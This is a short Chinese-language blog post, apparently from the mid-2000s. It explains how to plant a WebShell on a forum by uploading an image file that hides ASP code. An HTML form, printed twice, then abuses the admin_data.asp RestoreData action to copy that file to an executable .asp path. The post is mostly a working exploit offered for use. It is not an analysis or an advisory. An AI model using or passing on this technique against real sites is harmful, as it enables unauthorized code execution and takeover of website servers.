包罗万象--好东西要收藏--共享无限

SQL版的利用

　　还是在发帖那上传一个写有asp代码的假图片，然后记住其上传路径，比如UploadFile/2004-6/20046272411024.jpg，写一个本地提交的表单，代码如下：
code:
<form action="http://[target_url]/admin_data.asp?action=RestoreData&act=Restore" method="post">
<p>已上传文件的位置：<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置：<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p>
</form>

<form action="http://[target_url]/admin_data.asp?action=RestoreData&act=Restore" method="post"> <p>已上传文件的位置：<input name="Dbpath" type="text" size="80"></p> <p>要复制到的位置：<input name="backpath" type="text" size="80"></p> <p><input type="submit" value="提交"></p> </form>

　 　然后就把UploadFile/2004-6/20046272411024.jpg填在"已上传文件的位置"那里，想要在哪里搞个WebShell就 把完整的相对路径填写在"要复制到的位置"那里，比如：images/angel.asp提交就得到我们可爱的WebShell了

wellcom to my blog space : http://ytfso.yi.org